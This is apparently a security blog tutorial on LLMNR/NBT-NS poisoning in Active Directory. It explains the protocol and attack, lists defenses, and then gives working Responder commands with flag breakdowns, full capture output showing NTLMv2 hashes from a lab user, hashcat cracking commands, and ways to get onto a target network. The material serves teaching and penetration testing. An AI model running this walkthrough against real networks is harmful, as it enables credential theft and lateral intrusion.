Post cover image

September 23, 2026

LLMNR Poisoning: An attack on the Active Directory

What is LLMNR?

By Darshan Naik

3 min read

LLMNR stands for Link-Local Multicast Name Resolution. It is a protocol used on local networks to resolve the names of nearby computers without a DNS server. In an Active Directory environment, LLMNR helps devices find one another by name when DNS is unavailable or improperly configured. It is often used as a fallback when DNS fails or for name resolution in peer-to-peer networks.

What is LLMNR Poisoning?

LLMNR poisoning is a cyberattack in which an attacker intercepts LLMNR requests on a local network and responds with false information. This can redirect network traffic, capture sensitive data, or enable further attacks. By exploiting LLMNR's susceptibility to spoofed responses, an attacker can impersonate legitimate network resources and trick users into disclosing information or connecting to malicious servers.

LLMNR/NBT-NS poisoning

  • What it is: A man-in-the-middle attack on a local network. The attacker answers name lookups that Windows broadcasts after DNS fails.
  • Requirement: The attacker must be on the same network segment as the victim.
None

Steps

  1. The victim's machine asks DNS for a name such as \\hackm, for example after a typo or a stale mapped drive.
  2. DNS replies that it doesn't know the name.
  3. Windows falls back to LLMNR/NBT-NS and broadcasts the question to the whole local network.
  4. The attacker replies, claiming to be that host. These protocols have no authentication, so the victim can't tell the reply is fake.
  5. Windows automatically tries to authenticate and sends the user's NTLMv2 challenge-response hash.

Impact

  • The attacker can crack the hash offline to recover the password, which works best against weak passwords.
  • The attacker can also relay the hash to another machine to log in as the victim, if SMB signing is not enforced.

Defense

  • Disable LLMNR (via Group Policy) and NBT-NS (in adapter settings).
  • Enforce SMB signing.
  • Use strong passwords and MFA.
  • Monitor for unexpected LLMNR/NBT-NS responses.

$Attack$

Command

sudo responder -I eth0 -dPv

OR

sudo responder -I eth0 -rdwv

What the flags mean

  • I eth0 — listen on network interface eth0
  • d — enable answers for DHCP requests too
  • P — activate the extra Proxy-Auth ("WPAD proxy" injection) option
  • v — verbose output, show extra detail as it runs

Flag breakdown

  • I eth0 — Listen on interface eth0 (the network card connected to the target LAN).
  • r — Enable answers for NetBIOS Domain workgroup queries, i.e., respond to WORKGROUP-related NetBIOS broadcast requests too, not just specific hostnames.
  • d — Enable answering to DHCP requests. Combined with D (not used here) this can be used for full rogue DHCP injection; alone with d it lets Responder also respond to DHCP Inform messages to push a malicious WPAD/DNS entry.
  • w — Start the WPAD rogue proxy server. This is a big one: when a victim's browser is configured to auto-detect proxy settings (common default on Windows), it will broadcast a WPAD lookup. Responder answers that lookup and serves a malicious wpad.dat file, which can force the victim's browser traffic through the attacker for further credential capture, this is a separate/complementary vector alongside SMB.
  • v — Verbose output, so you see more detail about requests as they arrive.

How this differs from your earlier command (-dPv)

Flag -I eth0 -dPv -I eth0 -rdwv -d (DHCP) ✅ ✅ -v (verbose) ✅ ✅ -P (Proxy-Auth) ✅ ❌ -r (NetBIOS workgroup) ❌ ✅ -w (WPAD proxy) ❌ ✅

Response

NBT-NS, LLMNR & MDNS Responder 3.1.4.0
To support this project:
Github  --> <https://github.com/lgandx>
Paypal  --> <https://paypal.me/PythonResponder>
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [ON]
[+] Servers:
    HTTP server                [ON]
    HTTPS server                [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [ON]
    SMB server                 [ON]
    Kerberos server             [ON]
    SQL server                 [ON]
    FTP server                  [ON]
    IMAP server                 [ON]
    POP3 server                 [ON]
    SMTP server                 [ON]
    DNS server                  [ON]
    LDAP server                 [ON]
    MQTT server                 [ON]
    RDP server                  [ON]
    DCE-RPC server               [ON]
    WinRM server                 [ON]
    SNMP server                  [OFF]
[+] HTTP Options:
    Always serving EXE          [OFF]
    Serving EXE                  [OFF]
    Serving HTML                 [OFF]
    Upstream Proxy               [OFF]

Now the responder gives the hashes of the victim machine.

Response

[*] [DHCP] Found DHCP server IP: 192.168.1.1, now waiting for incoming requests ...
[*] [NBT-NS] Poisoned answer sent to 192.168.1.11 for name MARVEL (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 192.168.1.11 for name MARVEL (service: Browser Election)
[SMB] NTLMv2-SSP Client   : 192.168.1.11
[SMB] NTLMv2-SSP Username : MARVEL\fcastle
[SMB] NTLMv2-SSP Hash     : fcastle::MARVEL:81e4e1e7da263df2:946FC0113962D93B80F4FC9B8182E221:0101000000000000
80DE838CCFA8DA014420DA341FCBA05C000000000200080030005400440032003
2001001E00570049004E002D00550380059005A004A004D003900540054804805
2002E003000540044003200 2E004C004F00430041004C00030014003000540044
0032002E004C004F00430041004C000500140030005400440032002E004C004F0
0430041004C000700080080DE838CCFA8DA01060004000200000008003000300
0000000000100000000200002ACB5BB9EBD84E9A9F8DC413526073755DD77C25C
0EF978935D3A2CA9BE8C3C20A001000000000000000000900220063006900660
073002F00310039032002E003100360038002E003100320000000000000000
[SMB] NTLMv2-SSP Client   : 192.168.1.11
[SMB] NTLMv2-SSP Username : MARVEL\fcastle
[SMB] NTLMv2-SSP Hash     : fcastle::MARVEL:6312b6426b568172:02E69F78C680DAC70159E842F69C6301:0101000000000000
80DE838CCFA8DA017FF451ABDB5E02A900000000020008003000540044003200
32001001E00570049004E002D00550380059005A004A004D003900540054804805
2002E003000540044003200 2E004C004F00430041004C00030014003000540044
0032002E004C004F00430041004C000500140030005400440032002E004C004F0
0430041004C000700080080DE838CCFA8DA01000000000200080030003000000
00000000100000000200002ACB5BB9EBD84E9A9F8DC413526073755DD77C25C0E
F978935D3A2CA9BE8C3C20A00100000000000000000090022006300690066007
3002F00310039032002E003100360038002E003100320000000000000000
[SMB] NTLMv2-SSP Client   : 192.168.1.11
[SMB] NTLMv2-SSP Username : MARVEL\fcastle
[SMB] NTLMv2-SSP Hash     : fcastle::MARVEL:e104baa25304047c:DAB8051F850879AE54DE722BD95284EC:010100000000000
0080DE838CCFA8DA010F722868A6C87EBA0000000002000800300054004400320
0032001001E00570049004E002D0055038005900 5A004A004D0039005400548048
052002E003000540044003200 2E004C004F00430041004C00030014003000540
0440032002E004C004F00430041004C000500140030005400440032002E004C0
04F00430041004C000700080080DE838CCFA8DA0106000400020000000800300
03000000000000000100000000200002ACB5BB9EBD84E9A9F8DC41352607375
5DD77C25C0EF978935D3A2CA9BE8C3C20A00100000000000000000090022006300
6900660073002F00310039032002E003100360038002E003100320000000000000000
[SMB] NTLMv2-SSP Client   : 192.168.1.11
[SMB] NTLMv2-SSP Username : MARVEL\fcastle
[SMB] NTLMv2-SSP Hash     : fcastle::MARVEL:6e049b29202a511f:370C21D6FC6DFBC6040656D3EE244F33:010100000000000
0080DE838CCFA8DA01D4FC0D129E0930DD0000000002000800300054004400320
0032001001E00570049004E002D0055038005900 5A004A004D0039005400548048
052002E003000540044003200 2E004C004F00430041004C00030014003000540
0440032002E004C004F00430041004C000500140030005400440032002E004C0
04F00430041004C000700080080DE838CCFA8DA0100000000200080030003000
0000000000100000000200002ACB5BB9EBD84E9A9F8DC413526073755DD77C25C
0EF978935D3A2CA9BE8C3C20A00100000000000000000090022006300690066007
3002F00310039032002E003100360038002E003100320000000000000000
***hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt***
***hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --show***

⚠️

Important note

LLMNR/NBT-NS poisoning does not require prior compromise of a machine. It requires network access, not host access.

  • Common ways to gain that network position include:
  • Plugging a laptop into an open Ethernet port, such as one in a conference room, at an empty desk, or in an unlocked network closet.
  • Connecting to office Wi-Fi if it is not properly segmented from the internal LAN, or to guest Wi-Fi if it is not isolated.
  • Compromising a low-privilege device already on the network — such as an IoT device, unmanaged switch, or poorly secured printer — and using it as a pivot point.
  • During an authorized penetration test, the scope may simply provide an "assumed breach" or "internal network position"; no exploitation is required.